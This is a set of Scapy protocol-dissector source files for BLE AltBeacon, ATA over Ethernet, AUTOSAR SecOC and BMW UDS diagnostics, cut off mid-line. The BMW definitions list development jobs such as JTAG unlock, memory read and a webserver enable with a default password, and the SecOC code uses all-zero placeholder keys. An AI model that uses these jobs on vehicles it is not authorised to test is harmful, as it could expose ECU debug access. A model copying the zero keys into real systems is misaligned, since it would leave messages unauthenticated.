FILE: scapy/contrib/__init__.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Package of contrib modules that have to be loaded explicitly. """ # Make sure config is loaded import scapy.config # noqa: F401 ================================================ FILE: scapy/contrib/altbeacon.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Michael Farrell # # scapy.contrib.description = AltBeacon BLE proximity beacon # scapy.contrib.status = loads """ scapy.contrib.altbeacon - AltBeacon Bluetooth LE proximity beacons. The AltBeacon specification can be found at: https://github.com/AltBeacon/spec """ from scapy.fields import ( ByteField, MayEnd, ShortField, SignedByteField, StrFixedLenField, ) from scapy.layers.bluetooth import EIR_Hdr, EIR_Manufacturer_Specific_Data, \ UUIDField, LowEnergyBeaconHelper from scapy.packet import Packet # When building beacon frames, one should use their own manufacturer ID. # # However, most software (including the AltBeacon SDK) requires explicitly # registering particular manufacturer IDs to listen to, and the only ID used is # that of Radius Networks (the developer of the specification). # # To maximise compatibility, Scapy's implementation of # LowEnergyBeaconHelper.build_eir (for constructing frames) uses Radius # Networks' manufacturer ID. # # Scapy's implementation of AltBeacon **does not** require a specific # manufacturer ID to detect AltBeacons - it uses # EIR_Manufacturer_Specific_Data.register_magic_payload. RADIUS_NETWORKS_MFG = 0x0118 class AltBeacon(Packet, LowEnergyBeaconHelper): """ AltBeacon broadcast frame type. https://github.com/AltBeacon/spec """ name = "AltBeacon" magic = b"\xBE\xAC" fields_desc = [ StrFixedLenField("header", magic, len(magic)), # The spec says this is 20 bytes, with >=16 bytes being an # organisational unit-specific identifier. However, the Android library # treats this as UUID + uint16 + uint16. UUIDField("id1", None), # Local identifier ShortField("id2", None), ShortField("id3", None), MayEnd(SignedByteField("tx_power", None)), ByteField("mfg_reserved", None), ] @classmethod def magic_check(cls, payload): """ Checks if the given payload is for us (starts with our magic string). """ return payload.startswith(cls.magic) def build_eir(self): """Builds a list of EIR messages to wrap this frame.""" # Note: Company ID is not required by spec, but most tools only look # for manufacturer-specific data with Radius Networks' manufacturer ID. return LowEnergyBeaconHelper.base_eir + [ EIR_Hdr() / EIR_Manufacturer_Specific_Data( company_id=RADIUS_NETWORKS_MFG) / self ] EIR_Manufacturer_Specific_Data.register_magic_payload(AltBeacon) ================================================ FILE: scapy/contrib/aoe.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2018 antoine.torre # scapy.contrib.description = ATA Over Internet # scapy.contrib.status = loads from scapy.packet import Packet, bind_layers from scapy.fields import FlagsField, XByteField, ByteField, XShortField, \ ShortField, StrLenField, BitField, BitEnumField, ByteEnumField, \ FieldLenField, PacketListField, FieldListField, MACField, PacketField, \ ConditionalField, XIntField from scapy.layers.l2 import Ether from scapy.data import ETHER_ANY class IssueATACommand(Packet): name = "Issue ATA Command" fields_desc = [FlagsField("flags", 0, 8, "zezdzzaw"), XByteField("err_feature", 0), ByteField("sector_count", 1), XByteField("cmd_status", 0xec), XByteField("lba0", 0), XByteField("lba1", 0), XByteField("lba2", 0), XByteField("lba3", 0), XByteField("lba4", 0), XByteField("lba5", 0), XShortField("reserved", 0), StrLenField("data", "", length_from=lambda x: x.sector_count * 512)] def extract_padding(self, s): return "", s class QueryConfigInformation(Packet): name = "Query Config Information" fields_desc = [ShortField("buffer_count", 0), ShortField("firmware", 0), ByteField("sector_count", 0), BitField("aoe", 0, 4), BitEnumField("ccmd", 0, 4, {0: "Read config string", 1: "Test config string", 2: "Test config string prefix", 3: "Set config string", 4: "Force set config string"}), FieldLenField("config_length", None, length_of="config"), StrLenField("config", None, length_from=lambda x: x.config_length)] def extract_padding(self, s): return "", s class Directive(Packet): name = "Directive" fields_desc = [ByteField("reserved", 0), ByteEnumField("dcmd", 0, {0: "No directive", 1: "Add mac address to mask list", 2: "Delete mac address from mask list"}), MACField("mac_addr", ETHER_ANY)] class MacMaskList(Packet): name = "Mac Mask List" fields_desc = [ByteField("reserved", 0), ByteEnumField("mcmd", 0, {0: "Read Mac Mask List", 1: "Edit Mac Mask List"}), ByteEnumField("merror", 0, {0: "", 1: "Unspecified error", 2: "Bad dcmd directive", 3: "Mask List Full"}), FieldLenField("dir_count", None, count_of="directives"), PacketListField("directives", None, Directive, count_from=lambda pkt: pkt.dir_count)] def extract_padding(self, s): return "", s class ReserveRelease(Packet): name = "Reserve / Release" fields_desc = [ByteEnumField("rcmd", 0, {0: "Read Reserve List", 1: "Set Reserve List", 2: "Force Set Reserve List"}), FieldLenField("nb_mac", None, count_of="mac_addrs"), FieldListField("mac_addrs", None, MACField("", ETHER_ANY), count_from=lambda pkt: pkt.nb_mac)] def extract_padding(self, s): return "", s class AOE(Packet): name = "ATA over Ethernet" fields_desc = [BitField("version", 1, 4), FlagsField("flags", 0, 4, ["Response", "Error", "r1", "r2"]), ByteEnumField("error", 0, {1: "Unrecognized command code", 2: "Bad argument parameter", 3: "Device unavailable", 4: "Config string present", 5: "Unsupported exception", 6: "Target is reserved"}), XShortField("major", 0xFFFF), XByteField("minor", 0xFF), ByteEnumField("cmd", 1, {0: "Issue ATA Command", 1: "Query Config Information", 2: "Mac Mask List", 3: "Reserve / Release"}), XIntField("tag", 0), ConditionalField(PacketField("i_ata_cmd", IssueATACommand(), IssueATACommand), lambda x: x.cmd == 0), ConditionalField(PacketField("q_conf_info", QueryConfigInformation(), QueryConfigInformation), lambda x: x.cmd == 1), ConditionalField(PacketField("mac_m_list", MacMaskList(), MacMaskList), lambda x: x.cmd == 2), ConditionalField(PacketField("res_rel", ReserveRelease(), ReserveRelease), lambda x: x.cmd == 3)] def extract_padding(self, s): return "", s bind_layers(Ether, AOE, type=0x88A2) bind_layers(AOE, IssueATACommand, cmd=0) bind_layers(AOE, QueryConfigInformation, cmd=1) bind_layers(AOE, MacMaskList, cmd=2) bind_layers(AOE, ReserveRelease, cmd=3) ================================================ FILE: scapy/contrib/automotive/__init__.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # scapy.contrib.status = skip """ Package of contrib automotive modules that have to be loaded explicitly. """ import logging log_automotive = logging.getLogger("scapy.contrib.automotive") log_automotive.setLevel(logging.INFO) ================================================ FILE: scapy/contrib/automotive/autosar/__init__.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Damian Zaręba # scapy.contrib.status = skip """ Package of contrib automotive AUTOSAR modules that have to be loaded explicitly. """ ================================================ FILE: scapy/contrib/automotive/autosar/pdu.py ================================================ #! /usr/bin/env python # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Damian Zaręba # scapy.contrib.description = AUTOSAR PDU packets handling package. # scapy.contrib.status = loads from typing import Tuple, Optional from scapy.layers.inet import UDP from scapy.fields import XIntField, PacketListField, LenField from scapy.packet import Packet, bind_bottom_up class PDU(Packet): """ Single PDU Packet inside PDUTransport list. Contains ID and payload length, and later - raw load. It's free to interpret using bind_layers/bind_bottom_up method Based off this document: https://www.autosar.org/fileadmin/standards/classic/22-11/AUTOSAR_SWS_IPDUMultiplexer.pdf # noqa: E501 """ name = 'PDU' fields_desc = [ XIntField('pdu_id', 0), LenField('pdu_payload_len', None, fmt="I")] def extract_padding(self, s): # type: (bytes) -> Tuple[bytes, Optional[bytes]] return s[:self.pdu_payload_len], s[self.pdu_payload_len:] class PDUTransport(Packet): """ Packet representing PDUTransport containing multiple PDUs """ name = 'PDUTransport' fields_desc = [ PacketListField("pdus", [PDU()], PDU) ] bind_bottom_up(UDP, PDUTransport, dport=60000) ================================================ FILE: scapy/contrib/automotive/autosar/secoc.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # scapy.contrib.description = AUTOSAR Secure On-Board Communication # scapy.contrib.status = library """ SecOC """ from scapy.config import conf from scapy.error import log_loading if conf.crypto_valid: from cryptography.hazmat.primitives import cmac from cryptography.hazmat.primitives.ciphers import algorithms else: log_loading.info("Can't import python-cryptography v2.0+. " "Disabled SecOC calculate_cmac.") from scapy.config import conf from scapy.fields import PacketLenField from scapy.packet import Packet, Raw # Typing imports from typing import ( Callable, Dict, Optional, Set, Type, ) class SecOCMixin: pdu_payload_cls_by_identifier: Dict[int, Type[Packet]] = dict() secoc_protected_pdus_by_identifier: Set[int] = set() def secoc_authenticate(self) -> None: raise NotImplementedError def secoc_verify(self) -> bool: raise NotImplementedError def get_secoc_payload(self) -> bytes: """Override this method for customization """ raise NotImplementedError def get_secoc_key(self) -> bytes: """Override this method for customization """ return b"\x00" * 16 def get_secoc_freshness_value(self) -> bytes: """Override this method for customization """ return b"\x00" * 4 def get_message_authentication_code(self): payload = self.get_secoc_payload() key = self.get_secoc_key() freshness_value = self.get_secoc_freshness_value() return self.calculate_cmac(key, payload, freshness_value) @staticmethod def calculate_cmac(key: bytes, payload: bytes, freshness_value: bytes) -> bytes: c = cmac.CMAC(algorithms.AES128(key)) c.update(payload + freshness_value) return c.finalize() @classmethod def register_secoc_protected_pdu(cls, pdu_id: int, pdu_payload_cls: Type[Packet] = Raw ) -> None: cls.secoc_protected_pdus_by_identifier.add(pdu_id) cls.pdu_payload_cls_by_identifier[pdu_id] = pdu_payload_cls @classmethod def unregister_secoc_protected_pdu(cls, pdu_id: int) -> None: cls.secoc_protected_pdus_by_identifier.remove(pdu_id) del cls.pdu_payload_cls_by_identifier[pdu_id] class PduPayloadField(PacketLenField): __slots__ = ["guess_pkt_cls"] def __init__(self, name, # type: str default, # type: Packet guess_pkt_cls, # type: Callable[[Packet, bytes], Packet] # noqa: E501 length_from=None # type: Optional[Callable[[Packet], int]] # noqa: E501 ): # type: (...) -> None super(PacketLenField, self).__init__(name, default, Raw) self.length_from = length_from or (lambda x: 0) self.guess_pkt_cls = guess_pkt_cls def m2i(self, pkt, m): # type: ignore # type: (Optional[Packet], bytes) -> Packet return self.guess_pkt_cls(pkt, m) ================================================ FILE: scapy/contrib/automotive/autosar/secoc_canfd.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # scapy.contrib.description = AUTOSAR Secure On-Board Communication PDUs # scapy.contrib.status = loads """ SecOC PDU """ import struct from scapy.config import conf from scapy.contrib.automotive.autosar.secoc import SecOCMixin, PduPayloadField from scapy.base_classes import Packet_metaclass from scapy.fields import (XByteField, FieldLenField, XStrFixedLenField, FlagsField, XBitField, ShortField) from scapy.layers.can import CANFD from scapy.packet import Raw, Packet # Typing imports from typing import ( Any, Optional, Tuple, ) class SecOC_CANFD(CANFD, SecOCMixin): name = 'SecOC_CANFD' fields_desc = [ FlagsField('flags', 0, 3, ['error', 'remote_transmission_request', 'extended']), XBitField('identifier', 0, 29), FieldLenField('length', None, length_of='pdu_payload', fmt='B', adjust=lambda pkt, x: x + 4), FlagsField('fd_flags', 4, 8, [ 'bit_rate_switch', 'error_state_indicator', 'fd_frame']), ShortField('reserved', 0), PduPayloadField('pdu_payload', Raw(), guess_pkt_cls=lambda pkt, data: SecOC_CANFD.get_pdu_payload_cls(pkt, data), # noqa: E501 length_from=lambda pkt: pkt.length - 4), XByteField("tfv", 0), # truncated freshness value XStrFixedLenField("tmac", None, length=3)] # truncated message authentication code # noqa: E501 def secoc_authenticate(self) -> None: self.tfv = struct.unpack(">B", self.get_secoc_freshness_value()[-1:])[0] self.tmac = self.get_message_authentication_code()[0:3] def secoc_verify(self) -> bool: return self.get_message_authentication_code()[0:3] == self.tmac def get_secoc_payload(self) -> bytes: """Override this method for customization """ return bytes(self.pdu_payload) @classmethod def dispatch_hook(cls, s=None, *_args, **_kwds): # type: (Optional[bytes], Any, Any) -> Packet_metaclass """dispatch_hook determines if PDU is protected by SecOC. If PDU is protected, SecOC_PDU will be returned, otherwise AutoSAR PDU will be returned. """ if s is None: return SecOC_CANFD if len(s) < 4: return Raw identifier = struct.unpack('>I', s[0:4])[0] & 0x1FFFFFFF if identifier in cls.secoc_protected_pdus_by_identifier: return SecOC_CANFD else: return CANFD @classmethod def get_pdu_payload_cls(cls, pkt: Packet, data: bytes ) -> Packet: try: klass = cls.pdu_payload_cls_by_identifier[pkt.identifier] except KeyError: klass = conf.raw_layer return klass(data, _parent=pkt) def extract_padding(self, s): # type: (bytes) -> Tuple[bytes, Optional[bytes]] return b"", s ================================================ FILE: scapy/contrib/automotive/autosar/secoc_pdu.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # scapy.contrib.description = AUTOSAR Secure On-Board Communication PDUs # scapy.contrib.status = loads """ SecOC PDU """ import struct from scapy.config import conf from scapy.contrib.automotive.autosar.secoc import SecOCMixin, PduPayloadField from scapy.base_classes import Packet_metaclass from scapy.contrib.automotive.autosar.pdu import PDU from scapy.fields import (XByteField, XIntField, PacketListField, FieldLenField, XStrFixedLenField) from scapy.packet import Packet, Raw # Typing imports from typing import ( Any, Optional, Tuple, Type, ) class SecOC_PDU(Packet, SecOCMixin): name = 'SecOC_PDU' fields_desc = [ XIntField('pdu_id', 0), FieldLenField('pdu_payload_len', None, fmt="I", length_of="pdu_payload", adjust=lambda pkt, x: x + 4), PduPayloadField('pdu_payload', Raw(), guess_pkt_cls=lambda pkt, data: SecOC_PDU.get_pdu_payload_cls(pkt, data), # noqa: E501 length_from=lambda pkt: pkt.pdu_payload_len - 4), XByteField("tfv", 0), # truncated freshness value XStrFixedLenField("tmac", None, length=3)] # truncated message authentication code # noqa: E501 def secoc_authenticate(self) -> None: self.tfv = struct.unpack(">B", self.get_secoc_freshness_value()[-1:])[0] self.tmac = self.get_message_authentication_code()[0:3] def secoc_verify(self) -> bool: return self.get_message_authentication_code()[0:3] == self.tmac def get_secoc_payload(self) -> bytes: """Override this method for customization """ return self.pdu_payload @classmethod def dispatch_hook(cls, s=None, *_args, **_kwds): # type: (Optional[bytes], Any, Any) -> Packet_metaclass """dispatch_hook determines if PDU is protected by SecOC. If PDU is protected, SecOC_PDU will be returned, otherwise AutoSAR PDU will be returned. """ if s is None: return SecOC_PDU if len(s) < 4: return Raw identifier = struct.unpack('>I', s[0:4])[0] if identifier in cls.secoc_protected_pdus_by_identifier: return SecOC_PDU else: return PDU @classmethod def get_pdu_payload_cls(cls, pkt: Packet, data: bytes ) -> Packet: try: klass = cls.pdu_payload_cls_by_identifier[pkt.pdu_id] except KeyError: klass = conf.raw_layer return klass(data, _parent=pkt) def extract_padding(self, s): # type: (bytes) -> Tuple[bytes, Optional[bytes]] return b"", s class SecOC_PDUTransport(Packet): """ Packet representing SecOC_PDUTransport containing multiple PDUs """ name = 'SecOC_PDUTransport' fields_desc = [ PacketListField("pdus", [SecOC_PDU()], pkt_cls=SecOC_PDU) ] @staticmethod def register_secoc_protected_pdu(pdu_id: int, pdu_payload_cls: Type[Packet] = Raw ) -> None: SecOC_PDU.register_secoc_protected_pdu(pdu_id, pdu_payload_cls) @staticmethod def unregister_secoc_protected_pdu(pdu_id: int) -> None: SecOC_PDU.unregister_secoc_protected_pdu(pdu_id) ================================================ FILE: scapy/contrib/automotive/bmw/__init__.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # scapy.contrib.status = skip """ Package of contrib automotive bmw specific modules that have to be loaded explicitly. """ ================================================ FILE: scapy/contrib/automotive/bmw/definitions.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # scapy.contrib.description = BMW specific definitions for UDS # scapy.contrib.status = loads from scapy.packet import Packet, bind_layers from scapy.fields import ByteField, ShortField, ByteEnumField, X3BytesField, \ StrField, StrFixedLenField, LEThreeBytesField, \ PacketListField, IntField, IPField, ThreeBytesField, ShortEnumField, \ XStrFixedLenField from scapy.contrib.automotive.uds import UDS, UDS_RDBI, UDS_DSC, UDS_IOCBI, \ UDS_RC, UDS_RD, UDS_RSDBI, UDS_RDBIPR BMW_specific_enum = { 0: "requestIdentifiedBCDDTCAndStatus", 1: "requestSupportedBCDDTCAndStatus", 2: "requestIdentified2ByteHexDTCAndStatus", 3: "requestSupported2ByteHexDTCAndStatus", 128: "ECUIdentificationDataTable", 129: "ECUIdentificationScalingTable", 134: "BMW_currentUIFdataTable", 135: "BMW_physicalECUhardwareNumber", 136: "BMW_changeIndex", 137: "BMW_systemSupplierECUserialNumber", 138: "BMW_systemSupplierSpecific", 139: "BMW_systemSupplierSpecific", 140: "BMW_systemSupplierSpecific", 141: "BMW_systemSupplierSpecific", 142: "BMW_systemSupplierSpecific", 143: "BMW_systemSupplierSpecific", 144: "VIN - Vehicle Identification Number", 145: "vehicleManufacturerECUHardwareNumber", 146: "systemSupplierECUHardwareNumber", 147: "systemSupplierECUHardwareVersionNumber", 148: "systemSupplierECUSoftwareNumber", 149: "systemSupplierECUSoftwareVersionNumber", 150: "exhaustRegulationOrTypeApprovalNumber", 151: "systemNameOrEngineType", 152: "repairShopCodeOrTesterSerialNumber", 153: "programmingDate", 154: "BMW_vehicleManufacturerECUhardwareVersionNumber", 155: "BMW_vehicleManufacturerCodingIndex", 156: "BMW_vehicleManufacturerDiagnosticIndex", 157: "BMW_dateOfECUmanufacturing", 158: "BMW_systemSupplierIndex", 159: "BMW_vehicleManufECUsoftwareLayerVersionNumbers", 241: "BMW / OBD tester address", 245: "OBD via function bus", 250: "MOST tester address"} BMW_memoryTypeIdentifiers = { 0: "BMW_linearAddressRange", 1: "BMW_ROM_EPROM_internal", 2: "BMW_ROM_EPROM_external", 3: "BMW_NVRAM_characteristicZones_DTCmemory", 4: "BMW_RAM_internal_shortMOV", 5: "BMW_RAM_external_xDataMOV", 6: "BMW_flashEPROM_internal", 7: "BMW_UIFmemory", 8: "BMW_vehicleOrderDataMemory_onlyToBeUsedByDS2_ECUs", 9: "BMW_flashEPROM_external", 11: "BMW_RAM_internal_longMOVatRegister"} class IOCBLI_REQ(Packet): name = 'InputOutputControlByLocalIdentifier_Request' fields_desc = [ ByteField('inputOutputLocalIdentifier', 1), ByteEnumField('inputOutputControlParameter', 0, {0: "returnControlToECU", 1: "reportCurrentState", 2: "reportIOConditions", 3: "reportIOScaling", 4: "resetToDefault", 5: "freezeCurrentState", 6: "executeControlOption", 7: "shortTermAdjustment", 8: "longTerAdjustment", 9: "reportIOCalibrationParameters"})] bind_layers(UDS, IOCBLI_REQ, service=0x30) UDS.services[0x30] = 'InputOutputControlByLocalIdentifier' class RDTCBS_REQ(Packet): name = 'ReadDTCByStatus_Request' fields_desc = [ ByteEnumField('statusOfDTC', 0, BMW_specific_enum), ShortField('groupOfDTC', 0)] bind_layers(UDS, RDTCBS_REQ, service=0x18) UDS.services[0x18] = 'ReadDTCByStatus' class RSODTC_REQ(Packet): name = 'ReadStatusOfDTC_Request' fields_desc = [ ShortField('groupOfDTC', 0)] bind_layers(UDS, RSODTC_REQ, service=0x17) UDS.services[0x17] = 'ReadStatusOfDTC' class REI_IDENT_REQ(Packet): name = 'Read ECU Identification_Request' fields_desc = [ ByteEnumField('identificationDataTable', 0, BMW_specific_enum)] bind_layers(UDS, REI_IDENT_REQ, service=0x1a) UDS.services[0x1a] = 'ReadECUIdentification' class SPRBLI_REQ(Packet): name = 'StopRoutineByLocalIdentifier_Request' fields_desc = [ ByteEnumField('localIdentifier', 0, {1: "codingChecksum", 2: "clearMemory", 3: "clearHistoryMemory", 4: "selfTest", 5: "powerDown", 6: "clearDTCshadowMemory", 7: "requestForAuthentication", 8: "releaseAuthentication", 9: "checkSignature", 10: "checkProgrammingStatus", 11: "executeDiagnosticService", 12: "controlEnergySavingMode", 13: "resetSystemFaultMessage", 14: "timeControlledPowerdown", 15: "disableCommunicationOverGateway", 31: "SweepingTechnologies"}), StrField('routineExitOption', b"")] bind_layers(UDS, SPRBLI_REQ, service=0x32) UDS.services[0x32] = 'StopRoutineByLocalIdentifier' class ENMT_REQ(Packet): name = 'EnableNormalMessageTransmission_Request' fields_desc = [ ByteEnumField('responseRequired', 0, {1: "yes", 2: "no"})] bind_layers(UDS, ENMT_REQ, service=0x29) UDS.services[0x29] = 'EnableNormalMessageTransmission' class WDBLI_REQ(Packet): name = 'WriteDataByLocalIdentifier_Request' fields_desc = [ ByteEnumField('recordLocalIdentifier', 0, {144: "shortVIN"}), StrField('recordValue', b"")] bind_layers(UDS, WDBLI_REQ, service=0x3b) UDS.services[0x3b] = 'WriteDataByLocalIdentifier' class RDS2TCM_REQ(Packet): name = 'ReadDS2TroubleCodeMemory_Request' fields_desc = [ ByteField('DS2faultNumber', 0)] bind_layers(UDS, RDS2TCM_REQ, service=0xa0) UDS.services[0xa0] = 'ReadDS2TroubleCodeMemory' class RDBLI_REQ(Packet): name = 'ReadDataByLocalIdentifier_Request' fields_desc = [ ByteField('recordLocalIdentifier', 0)] bind_layers(UDS, RDBLI_REQ, service=0x21) UDS.services[0x21] = 'ReadDataByLocalIdentifier' class RRRBA_REQ(Packet): name = 'RequestRoutineResultsByAddress_Request' fields_desc = [ X3BytesField('routineAddress', 0), ByteEnumField('memoryTypeIdentifier', 0, BMW_memoryTypeIdentifiers)] bind_layers(UDS, RRRBA_REQ, service=0x3a) UDS.services[0x3a] = 'RequestRoutineResultsByAddress' class RRRBLI_REQ(Packet): name = 'RequestRoutineResultsByLocalIdentifier_Request' fields_desc = [ ByteField('routineLocalID', 0)] bind_layers(UDS, RRRBLI_REQ, service=0x33) UDS.services[0x33] = 'RequestRoutineResultsByLocalIdentifier' class SPRBA_REQ(Packet): name = 'StopRoutineByAddress_Request' fields_desc = [ X3BytesField('routineAddress', 0), ByteEnumField('memoryTypeIdentifier', 0, BMW_memoryTypeIdentifiers), StrField('routineExitOption', 0)] bind_layers(UDS, SPRBA_REQ, service=0x39) UDS.services[0x39] = 'StopRoutineByAddress' class STRBA_REQ(Packet): name = 'StartRoutineByAddress_Request' fields_desc = [ X3BytesField('routineAddress', 0), ByteEnumField('memoryTypeIdentifier', 0, BMW_memoryTypeIdentifiers), StrField('routineEntryOption', 0)] bind_layers(UDS, STRBA_REQ, service=0x38) UDS.services[0x38] = 'StartRoutineByAddress' class UDS2S_REQ(Packet): name = 'UnpackDS2Service_Request' fields_desc = [ ByteField('DS2ECUAddress', 0), ByteField('DS2requestLength', 0), ByteField('DS2ControlByte', 0), StrField('DS2requestParameters', 0)] bind_layers(UDS, UDS2S_REQ, service=0xa5) UDS.services[0xa5] = 'UnpackDS2Service' class SVK_DateField(LEThreeBytesField): def i2repr(self, pkt, x): x = self.addfield(pkt, b"", x) return "%02X.%02X.20%02X" % (x[2], x[1], x[0]) class SVK_Entry(Packet): process_classes = { 0x01: "HWEL", 0x02: "HWAP", 0x03: "HWFR", 0x05: "CAFD", 0x06: "BTLD", 0x08: "SWFL", 0x09: "SWFF", 0x0A: "SWPF", 0x0B: "ONPS", 0x0F: "FAFP", 0x1A: "TLRT", 0x1B: "TPRG", 0x07: "FLSL", 0x0C: "IBAD", 0x10: "FCFA", 0x1C: "BLUP", 0x1D: "FLUP", 0xC0: "SWUP", 0xC1: "SWIP", 0xA0: "ENTD", 0xA1: "NAVD", 0xA2: "FCFN", 0x04: "GWTB", 0x0D: "SWFK", } """ HWEL - Hardware (Elektronik) - Hardware (Electronics) HWAP - Hardwareauspraegung - Hardware Configuration HWFR - Hardwarefarbe - Hardware Color CAFD - Codierdaten - Coding Data BTLD - Bootloader - Bootloader SWFL - Software ECU Speicherimage - Software ECU Storage Image SWFF - Flash File Software - Flash File Software SWPF - Pruefsoftware - Testing Software ONPS - Onboard Programmiersystem - Onboard Programming System FAFP - FA2FP - FA2FP TLRT - Temporaere Loeschroutine - Temporary Deletion Routine TPRG - Temporaere Programmierroutine - Temporary Programming Routine FLSL - Flashloader Slave - Flashloader Slave IBAD - Interaktive Betriebsanleitung Daten - Interactive Operating Manual Data FCFA - Freischaltcode Fahrzeug-Auftrag - Vehicle Order Unlock Code BLUP - Bootloader-Update Applikation - Bootloader Update Application FLUP - Flashloader-Update Applikation - Flashloader Update Application SWUP - Software-Update Package - Software Update Package SWIP - Index Software-Update Package - Software Update Package Index ENTD - Entertainment Daten - Entertainment Data NAVD - Navigation Daten - Navigation Data FCFN - Freischaltcode Funktion - Function Unlock Code GWTB - Gateway-Tabelle - Gateway Table SWFK - BEGU: Detaillierung auf SWE-Ebene - BEGU: Detailing at SWE Level """ fields_desc = [ ByteEnumField("processClass", 0, process_classes), XStrFixedLenField("svk_id", b"", length=4), ByteField("mainVersion", 0), ByteField("subVersion", 0), ByteField("patchVersion", 0)] def extract_padding(self, p): return b"", p class SVK(Packet): prog_status_enum = { 1: "signature check and programming-dependencies check passed", 2: "software entry invalid or programming-dependencies check failed", 3: "software entry incompatible to hardware entry", 4: "software entry incompatible with other software entry"} @staticmethod def get_length(p: Packet): return len(p.original) - (8 * p.entries_count + 7) fields_desc = [ ByteEnumField("prog_status1", 0, prog_status_enum), ByteEnumField("prog_status2", 0, prog_status_enum), ShortField("entries_count", 0), SVK_DateField("prog_date", 0), StrFixedLenField("pad", b'\x00', length_from=get_length), PacketListField("entries", [], SVK_Entry, count_from=lambda x: x.entries_count)] class DIAG_SESSION_RESP(Packet): fields_desc = [ ByteField('DIAG_SESSION_VALUE', 0), StrField('DIAG_SESSION_TEXT', '') ] class IP_CONFIG_RESP(Packet): fields_desc = [ ByteField('ADDRESS_FORMAT_ID', 0), IPField('IP', '192.168.0.10'), IPField('SUBNETMASK', '255.255.255.0'), IPField('DEFAULT_GATEWAY', '192.168.0.1') ] bind_layers(UDS_RDBIPR, IP_CONFIG_RESP, dataIdentifier=0x172a) bind_layers(UDS_RDBIPR, DIAG_SESSION_RESP, dataIdentifier=0xf186) class DEV_JOB(Packet): identifiers = { 0x51F1: "ControlReciprocalMonitor", 0xCADD: "EnableDebugCan", 0xDEAD: "LockJtag1", 0xDEAE: "LockJtag2", 0xDEAF: "UnlockJtag", 0xF510: "ControlFuSiIO", 0xFF00: "ReadTransportMessageStatus", 0xFF10: "ControlEthernetActivation", 0xFF51: "ControlPwfMaster", 0xFF66: "ControlWebsite", 0xFF77: "ControlIdleMessage", 0xFFB0: "ReadManufacturerData", 0xFFB1: "ReadBuildNumber", 0xFFD0: "ReadFzmSentryStates", 0xFFD1: "ReadFzmSlaveStates", 0xFFD2: "ReadFzmMasterState", 0xFFD3: "ControlLifecycle", 0xFFD5: "IsCertificateValid", 0xFFFA: "SetDiagRouting", 0xFFFF: "ReadMemory"} fields_desc = [ ShortEnumField('identifier', 0xffff, identifiers) ] class DEV_JOB_PR(Packet): fields_desc = [ ShortEnumField('identifier', 0xffff, DEV_JOB.identifiers) ] def answers(self, other): return isinstance(other, DEV_JOB) and \ self.identifier == other.identifier UDS.services[0xBF] = "DevelopmentJob" UDS.services[0xFF] = "DevelopmentJobPositiveResponse" bind_layers(UDS, DEV_JOB, service=0xBF) bind_layers(UDS, DEV_JOB_PR, service=0xFF) class READ_MEM(Packet): fields_desc = [ IntField('read_addr', 0), IntField('read_length', 0) ] class READ_MEM_PR(Packet): fields_desc = [ StrField('data', ''), ] class WEBSERVER(Packet): fields_desc = [ ByteField('enable', 1), ThreeBytesField('password', 0x10203) ] bind_layers(DEV_JOB, WEBSERVER, identifier=0xff66) bind_layers(DEV_JOB_PR, WEBSERVER, identifier=0xff66) bind_layers(DEV_JOB, READ_MEM, identifier=0xffff) bind_layers(DEV_JOB_PR, READ_MEM_PR, identifier=0xffff) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf101) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf102) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf103) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf104) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf105) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf106) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf107) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf108) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf109) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf10a) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf10b) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf10c) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf10d) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf10e) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf10f) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf110) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf111) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf112) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf113) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf114) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf115) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf116) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf117) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf118) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf119) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf11a) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf11b) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf11c) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf11d) bind_layers(UDS_RDBIPR, 